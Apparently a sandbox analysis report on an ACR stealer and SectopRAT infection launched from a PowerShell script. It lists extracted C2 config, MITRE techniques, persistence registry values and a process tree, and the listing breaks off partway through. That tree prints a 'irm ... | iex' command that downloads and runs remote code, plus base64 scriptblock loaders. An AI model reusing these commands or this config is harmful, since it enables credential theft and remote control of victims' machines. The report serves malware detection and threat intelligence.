acrstealer | b6dfa9a57a9a52e8da373e905c72a7c65eb858bb4fd2447558d5e6592e537f32

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/09/2026, 16:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
command.ps1
Size 83B
Sample260929-txkjbabb32
SHA256 b6dfa9a57a9a52e8da373e905c72a7c65eb858bb4fd2447558d5e6592e537f32
MD5 a00ab5476f864de2c6250b945ad054e9
SHA1 78fbec50acc8627053edd496264ae5f61a336484
SHA512 9e4c2ff4767ba45af34b770804d71cee8acdb975fdafbf64483f484727c3a57583df7483da11057ac1c1d96c80338c2b08dea24f00837e7e582a9387560e30ca
TLSH
T168A024D0F1FC1C3430CC4D00115431F001D0504F45D153D007347C41443031334D103D
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution acrstealer sectoprat persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

acrstealer

Version

4.4.4-alpha1

cdn.copperfern.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: SectopRAT
SectopRAT also known as Arechclient2 is a remote access trojan first seen in November 2019.
trojan rat sectoprat

Detects SectopRAT aka Arechclient2 1 IoCs

resource	yara_rule
behavioral2/memory/2484-4926-0x0000000000400000-0x000000000046C000-memory.dmp	family_sectoprat

Eimeria case rule targeting the malicious zlibwapi.dll AES loader and recovered AutoIt RunPE loader 1 IoCs

Eimeria multi-stage loader chain with zlibwapi.dll AES loader and AutoIt RunPE process-hollowing evidence.

resource	yara_rule
behavioral2/files/0x000b00000001c7e2-3790.dat	Eimeria_MultiStage_Loader

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 616 created 4408	616	rundll32.exe	81
PID 616 created 4408	616	rundll32.exe	81
PID 616 created 4408	616	rundll32.exe	81

Badlisted process makes network request 14 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4504	PowerShell.exe
3	4504	PowerShell.exe
4	6104	powershell.exe
5	6104	powershell.exe
6	616	rundll32.exe
7	616	rundll32.exe
149	616	rundll32.exe
150	616	rundll32.exe
151	616	rundll32.exe
152	616	rundll32.exe
153	4912	powershell.exe
156	616	rundll32.exe
158	616	rundll32.exe
159	2340	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3780	AutoIt3.exe
3112	AutoIt3.exe
2484	RegAsm.exe
4736	AutoIt3.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Environment\UserInitMprLogonScript = "\"C:\\Users\\Admin\\AppData\\Roaming\\f884a6e114c8\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\f884a6e114c8\\Fabrics.a3x\""	powershell.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_B249F3EFAC6B7C726791C0743BBEDD09 = "\"C:\\Users\\Admin\\AppData\\Roaming\\f884a6e114c8\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\f884a6e114c8\\Ips.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6104	powershell.exe
4912	powershell.exe
2340	powershell.exe
4504	PowerShell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
5	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	PowerShell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3780 set thread context of 2484	3780	AutoIt3.exe	159
PID 3112 set thread context of 4736	3112	AutoIt3.exe	160

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4100	chrome.exe
3468	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2251218687-1689653882-3767565116-1000\{A00BCF8C-5A35-4EA8-BEA3-1B00EC1AC5B9}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4504	PowerShell.exe
4504	PowerShell.exe
6104	powershell.exe
6104	powershell.exe
6104	powershell.exe
6104	powershell.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
616	rundll32.exe
616	rundll32.exe
616	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
2068	msedge.exe
2068	msedge.exe
2068	msedge.exe
2068	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	PowerShell.exe
Token: SeDebugPrivilege	6104	powershell.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeShutdownPrivilege	3060	chrome.exe
Token: SeCreatePagefilePrivilege	3060	chrome.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
3060	chrome.exe
2068	msedge.exe
4760	firefox.exe
3780	AutoIt3.exe
3780	AutoIt3.exe
3780	AutoIt3.exe
3112	AutoIt3.exe
3112	AutoIt3.exe
3112	AutoIt3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
3780	AutoIt3.exe
3780	AutoIt3.exe
3780	AutoIt3.exe
3112	AutoIt3.exe
3112	AutoIt3.exe
3112	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 6104	4504	PowerShell.exe	91
PID 6104 wrote to memory of 616	6104	powershell.exe	93
PID 6104 wrote to memory of 616	6104	powershell.exe	93
PID 616 wrote to memory of 3060	616	rundll32.exe	94
PID 3060 wrote to memory of 5508	3060	chrome.exe	95
PID 3060 wrote to memory of 4100	3060	chrome.exe	97
PID 3060 wrote to memory of 556	3060	chrome.exe	100
PID 3060 wrote to memory of 4652	3060	chrome.exe	99
PID 3060 wrote to memory of 556	3060	chrome.exe	100
PID 3060 wrote to memory of 1064	3060	chrome.exe	101
PID 3060 wrote to memory of 4652	3060	chrome.exe	99
PID 3060 wrote to memory of 1064	3060	chrome.exe	101
PID 3060 wrote to memory of 5692	3060	chrome.exe	140
PID 3060 wrote to memory of 5692	3060	chrome.exe	140
PID 3060 wrote to memory of 5516	3060	chrome.exe	102
PID 3060 wrote to memory of 5516	3060	chrome.exe	102
PID 3060 wrote to memory of 5228	3060	chrome.exe	103
PID 3060 wrote to memory of 5228	3060	chrome.exe	103
PID 3060 wrote to memory of 5072	3060	chrome.exe	104
PID 3060 wrote to memory of 6048	3060	chrome.exe	105
PID 3060 wrote to memory of 6048	3060	chrome.exe	105
PID 3060 wrote to memory of 5984	3060	chrome.exe	106
PID 3060 wrote to memory of 5984	3060	chrome.exe	106
PID 3060 wrote to memory of 4368	3060	chrome.exe	119
PID 3060 wrote to memory of 4184	3060	chrome.exe	111
PID 3060 wrote to memory of 5364	3060	chrome.exe	112
PID 3060 wrote to memory of 4368	3060	chrome.exe	119
PID 3060 wrote to memory of 4184	3060	chrome.exe	111
PID 3060 wrote to memory of 5364	3060	chrome.exe	112
PID 3060 wrote to memory of 2488	3060	chrome.exe	113
PID 3060 wrote to memory of 2488	3060	chrome.exe	113
PID 3060 wrote to memory of 4120	3060	chrome.exe	114
PID 3060 wrote to memory of 1196	3060	chrome.exe	115
PID 3060 wrote to memory of 4120	3060	chrome.exe	114
PID 3060 wrote to memory of 1196	3060	chrome.exe	115
PID 3060 wrote to memory of 3764	3060	chrome.exe	116
PID 3060 wrote to memory of 3764	3060	chrome.exe	116
PID 3060 wrote to memory of 6072	3060	chrome.exe	117
PID 3060 wrote to memory of 6072	3060	chrome.exe	117
PID 3060 wrote to memory of 4164	3060	chrome.exe	118
PID 3060 wrote to memory of 4164	3060	chrome.exe	118
PID 3060 wrote to memory of 4368	3060	chrome.exe	119
PID 3060 wrote to memory of 4368	3060	chrome.exe	119
PID 3060 wrote to memory of 2396	3060	chrome.exe	120
PID 3060 wrote to memory of 2396	3060	chrome.exe	120
PID 616 wrote to memory of 2068	616	rundll32.exe	121
PID 2068 wrote to memory of 4932	2068	msedge.exe	122
PID 2068 wrote to memory of 2256	2068	msedge.exe	123
PID 2068 wrote to memory of 3468	2068	msedge.exe	124
PID 2068 wrote to memory of 2256	2068	msedge.exe	123
PID 2068 wrote to memory of 2256	2068	msedge.exe	123
PID 2068 wrote to memory of 3608	2068	msedge.exe	125
PID 2068 wrote to memory of 3608	2068	msedge.exe	125
PID 2068 wrote to memory of 1228	2068	msedge.exe	127
PID 2068 wrote to memory of 4200	2068	msedge.exe	128
PID 2068 wrote to memory of 1228	2068	msedge.exe	127
PID 2068 wrote to memory of 1228	2068	msedge.exe	127
PID 2068 wrote to memory of 4200	2068	msedge.exe	128
PID 2068 wrote to memory of 4200	2068	msedge.exe	128
PID 2068 wrote to memory of 3276	2068	msedge.exe	129
PID 2068 wrote to memory of 5940	2068	msedge.exe	130
PID 2068 wrote to memory of 3276	2068	msedge.exe	129
PID 2068 wrote to memory of 3276	2068	msedge.exe	129
PID 2068 wrote to memory of 5940	2068	msedge.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:4408
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\command.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm rawcdn.githack.com/52-7aA5/40Ab-5Bb6-D1F9B0-9634a4-E30/refs/heads/main/7-9313-D-16Cb14-9AdE-B-5b55 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6104
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:616
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Badlisted process makes network request
        Registers new Windows logon scripts automatically executed at logon.
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5508
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:2340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc636fc728,0x7ffc636fc734,0x7ffc636fc740
    3⤵
    PID:5508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1488,i,6904858988478713135,3192882156924373804,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,16851733666923509317,13846692447302754855,262144 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:2
    3⤵
    PID:5692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2224,i,11081228966690291484,7052431721257052331,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:13
    3⤵
    PID:4652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2964,i,6311284572841583113,6650627563760928153,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=3056 /prefetch:1
    3⤵
    PID:556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3000,i,8133258769146075405,13263516703706926163,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:1
    3⤵
    PID:1064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4564,i,1951873437414872320,12583846056364038123,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:14
    3⤵
    PID:5516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4732,i,17550163183757854934,10797450862928465010,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:1
    3⤵
    PID:5228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5280,i,10118927883165830717,17534005577221457474,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
    3⤵
    PID:5072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5320,i,4586791164994420757,13333126226354687422,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:1
    3⤵
    PID:6048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5340,i,12641247278426069878,14650750921779432525,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:1
    3⤵
    PID:5984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
